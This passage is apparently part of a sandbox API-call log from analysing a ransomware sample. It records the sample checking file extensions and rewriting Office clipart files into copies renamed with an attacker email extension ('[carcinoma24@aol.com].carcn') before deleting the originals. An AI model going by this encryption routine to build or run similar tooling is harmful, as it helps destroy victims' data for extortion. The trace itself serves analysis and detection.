(lpString1=".doc", lpString2=".WMF") returned -1 [0309.447] lstrlenW (lpString=".docx") returned 5 [0309.447] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0309.447] lstrlenW (lpString=".pdf") returned 4 [0309.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.448] lstrlenW (lpString=".xls") returned 4 [0309.448] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.448] lstrlenW (lpString=".xlsx") returned 5 [0309.448] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0309.448] lstrlenW (lpString=".ppt") returned 4 [0309.448] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0309.448] lstrlenW (lpString=".zip") returned 4 [0309.448] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.448] lstrlenW (lpString=".rar") returned 4 [0309.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.448] lstrlenW (lpString=".bz2") returned 4 [0309.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.448] lstrlenW (lpString=".7z") returned 3 [0309.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0309.448] lstrlenW (lpString=".dbf") returned 4 [0309.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0309.448] lstrlenW (lpString=".1cd") returned 4 [0309.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0309.448] lstrlenW (lpString=".jpg") returned 4 [0309.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.448] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.448] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0309.449] GetLastError () returned 0x0 [0309.449] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x3734, lpOverlapped=0x0) returned 1 [0309.877] WriteFile (in: hFile=0x384, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x3740, lpOverlapped=0x0) returned 1 [0309.878] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0309.878] WriteFile (in: hFile=0x384, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0309.878] SetEndOfFile (hFile=0x384) returned 1 [0309.992] CloseHandle (hObject=0x384) returned 1 [0309.992] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.993] SetEndOfFile (hFile=0x318) returned 1 [0309.994] CloseHandle (hObject=0x318) returned 1 [0309.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0309.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0309.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0309.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0309.995] lstrlenW (lpString=".doc") returned 4 [0309.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.995] lstrlenW (lpString=".docx") returned 5 [0309.995] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0309.995] lstrlenW (lpString=".pdf") returned 4 [0309.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.995] lstrlenW (lpString=".xls") returned 4 [0309.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.995] lstrlenW (lpString=".xlsx") returned 5 [0309.995] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0309.995] lstrlenW (lpString=".ppt") returned 4 [0309.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0309.995] lstrlenW (lpString=".zip") returned 4 [0309.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.995] lstrlenW (lpString=".rar") returned 4 [0309.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.995] lstrlenW (lpString=".bz2") returned 4 [0309.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.995] lstrlenW (lpString=".7z") returned 3 [0309.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0309.998] lstrlenW (lpString=".dbf") returned 4 [0309.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0309.998] lstrlenW (lpString=".1cd") returned 4 [0309.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0309.998] lstrlenW (lpString=".jpg") returned 4 [0309.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.095] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.095] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0310.101] GetLastError () returned 0x0 [0310.102] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2c18, lpOverlapped=0x0) returned 1 [0310.123] WriteFile (in: hFile=0x384, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2c20, lpOverlapped=0x0) returned 1 [0310.223] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0310.223] WriteFile (in: hFile=0x384, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0310.224] SetEndOfFile (hFile=0x384) returned 1 [0310.284] CloseHandle (hObject=0x384) returned 1 [0310.292] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.302] SetEndOfFile (hFile=0x318) returned 1 [0310.330] CloseHandle (hObject=0x318) returned 1 [0310.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 1 [0310.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0310.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0310.340] lstrlenW (lpString=".doc") returned 4 [0310.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.340] lstrlenW (lpString=".docx") returned 5 [0310.340] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0310.340] lstrlenW (lpString=".pdf") returned 4 [0310.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.340] lstrlenW (lpString=".xls") returned 4 [0310.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.340] lstrlenW (lpString=".xlsx") returned 5 [0310.340] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0310.340] lstrlenW (lpString=".ppt") returned 4 [0310.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0310.340] lstrlenW (lpString=".zip") returned 4 [0310.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.340] lstrlenW (lpString=".rar") returned 4 [0310.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.340] lstrlenW (lpString=".bz2") returned 4 [0310.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.340] lstrlenW (lpString=".7z") returned 3 [0310.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0310.340] lstrlenW (lpString=".dbf") returned 4 [0310.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0310.341] lstrlenW (lpString=".1cd") returned 4 [0310.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0310.341] lstrlenW (lpString=".jpg") returned 4 [0310.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.348] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.348] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0310.351] GetLastError () returned 0x0 [0310.351] ReadFile (in: hFile=0x334, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xbe0, lpOverlapped=0x0) returned 1 [0310.362] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xbf0, lpOverlapped=0x0) returned 1 [0310.363] ReadFile (in: hFile=0x334, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0310.363] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0310.364] SetEndOfFile (hFile=0x37c) returned 1 [0310.364] CloseHandle (hObject=0x37c) returned 1 [0310.364] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.364] SetEndOfFile (hFile=0x334) returned 1 [0310.365] CloseHandle (hObject=0x334) returned 1 [0310.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 1 [0310.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0310.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0310.366] lstrlenW (lpString=".doc") returned 4 [0310.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.367] lstrlenW (lpString=".docx") returned 5 [0310.367] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0310.367] lstrlenW (lpString=".pdf") returned 4 [0310.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.367] lstrlenW (lpString=".xls") returned 4 [0310.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.367] lstrlenW (lpString=".xlsx") returned 5 [0310.367] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0310.367] lstrlenW (lpString=".ppt") returned 4 [0310.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0310.367] lstrlenW (lpString=".zip") returned 4 [0310.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.367] lstrlenW (lpString=".rar") returned 4 [0310.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.367] lstrlenW (lpString=".bz2") returned 4 [0310.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.367] lstrlenW (lpString=".7z") returned 3 [0310.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0310.367] lstrlenW (lpString=".dbf") returned 4 [0310.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0310.367] lstrlenW (lpString=".1cd") returned 4 [0310.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0310.368] lstrlenW (lpString=".jpg") returned 4 [0310.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.375] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.375] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0310.376] GetLastError () returned 0x0 [0310.376] ReadFile (in: hFile=0x334, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x4054, lpOverlapped=0x0) returned 1 [0310.389] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x4060, lpOverlapped=0x0) returned 1 [0310.390] ReadFile (in: hFile=0x334, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0310.390] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0310.390] SetEndOfFile (hFile=0x37c) returned 1 [0310.393] CloseHandle (hObject=0x37c) returned 1 [0310.393] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.393] SetEndOfFile (hFile=0x334) returned 1 [0310.398] CloseHandle (hObject=0x334) returned 1 [0310.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 1 [0310.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0310.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0310.399] lstrlenW (lpString=".doc") returned 4 [0310.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.399] lstrlenW (lpString=".docx") returned 5 [0310.399] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0310.399] lstrlenW (lpString=".pdf") returned 4 [0310.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.399] lstrlenW (lpString=".xls") returned 4 [0310.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.399] lstrlenW (lpString=".xlsx") returned 5 [0310.399] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0310.400] lstrlenW (lpString=".ppt") returned 4 [0310.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0310.400] lstrlenW (lpString=".zip") returned 4 [0310.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.400] lstrlenW (lpString=".rar") returned 4 [0310.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.400] lstrlenW (lpString=".bz2") returned 4 [0310.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.400] lstrlenW (lpString=".7z") returned 3 [0310.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0310.400] lstrlenW (lpString=".dbf") returned 4 [0310.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0310.400] lstrlenW (lpString=".1cd") returned 4 [0310.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0310.400] lstrlenW (lpString=".jpg") returned 4 [0310.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.401] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.401] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0310.402] GetLastError () returned 0x0 [0310.402] ReadFile (in: hFile=0x334, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x22a0, lpOverlapped=0x0) returned 1 [0310.420] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x22b0, lpOverlapped=0x0) returned 1 [0310.421] ReadFile (in: hFile=0x334, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0310.421] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0310.421] SetEndOfFile (hFile=0x34c) returned 1 [0310.421] CloseHandle (hObject=0x34c) returned 1 [0310.421] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.421] SetEndOfFile (hFile=0x334) returned 1 [0310.422] CloseHandle (hObject=0x334) returned 1 [0310.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 1 [0310.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0310.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0310.424] lstrlenW (lpString=".doc") returned 4 [0310.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.424] lstrlenW (lpString=".docx") returned 5 [0310.424] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0310.424] lstrlenW (lpString=".pdf") returned 4 [0310.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.424] lstrlenW (lpString=".xls") returned 4 [0310.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.424] lstrlenW (lpString=".xlsx") returned 5 [0310.424] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0310.424] lstrlenW (lpString=".ppt") returned 4 [0310.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0310.424] lstrlenW (lpString=".zip") returned 4 [0310.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.424] lstrlenW (lpString=".rar") returned 4 [0310.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.424] lstrlenW (lpString=".bz2") returned 4 [0310.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.424] lstrlenW (lpString=".7z") returned 3 [0310.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0310.424] lstrlenW (lpString=".dbf") returned 4 [0310.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0310.424] lstrlenW (lpString=".1cd") returned 4 [0310.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0310.425] lstrlenW (lpString=".jpg") returned 4 [0310.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.425] SetFilePointerEx (in: 